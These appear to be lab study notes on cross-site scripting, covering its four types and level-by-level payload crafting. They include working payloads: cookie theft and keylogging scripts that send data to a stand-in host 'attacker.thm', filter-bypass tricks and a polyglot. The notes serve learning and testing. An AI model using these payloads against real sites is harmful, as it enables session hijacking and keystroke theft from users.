

What is XSS?

- Injection attack where malicious JavaScript is injected into web applications
 - Executed by other users visiting the page
 - Based on JavaScript - basic understanding helpful
-

XSS Payloads

Payload = Intention + Modification

Common Intentions:

Proof of Concept:

```
<script>alert('XSS');</script>
```

Session Stealing:

```
javascript
<script>fetch('https://attacker.thm/steal?cookie=' + btoa(document.cookie));</script>
```

Key Logger:

```
javascript
<script>document.onkeypress = function(e) { fetch('https://attacker.thm/log?key=' + btoa(e.key));}</script>
```

Business Logic:

```
javascript
<script>user.changeEmail('attacker@hacker.thm');</script>
```

Types of XSS

1. Reflected XSS

- User-supplied data in HTTP request is included in page source without validation
- Payload comes from request (URL, parameters, etc.)
- Testing points: URL query string, URL file path, HTTP headers
- Attackers send malicious links to victims

2. Stored XSS

- Payload stored on web application (database, comments, etc.)
- Executes when other users visit the page

- Testing points: Comments, user profiles, website listings
- More damaging as it affects multiple users automatically

3. DOM Based XSS

- JavaScript executes directly in browser without new page loads
- No data submitted to backend code
- JavaScript acts on user input or interaction
- Testing: Look for code accessing `window.location.x` parameters
- Check if values written to DOM or passed to unsafe methods like `eval()`

4. Blind XSS

- Similar to stored XSS but you can't see payload working
- Payload executes in another user's context (e.g., admin portal)
- Need callback mechanism (HTTP request to your server)
- Tools: XSS Hunter Express

XSS Payload Crafting (Level Examples)

Level 1 - Direct Reflection:

```
<script>alert('THM');</script>
```

Level 2 - Inside Input Tag Value:

Escape the input tag: `"><script>alert('THM');</script>`

Level 3 - Inside Textarea Tag:

Close textarea first: `</textarea><script>alert('THM');</script>`

Level 4 - Inside JavaScript Code:

Escape JavaScript: `' ;alert('THM');//`

Level 5 - Filtered Words (e.g., "script" removed):

Bypass with nesting: `<sscriptcript>alert('THM');</sscriptcript>`

- Filter removes "script" once, leaving `<script>alert('THM');</script>`

Level 6 - Filtered < and > characters:

Use event handlers instead:

```
/images/cat.jpg" onload="alert('THM');
```

- onload executes after image loads

Polyglots:

Single string that works in multiple contexts:

text

```
jaVaScRipt:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM')
)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')/
/>\x3e
```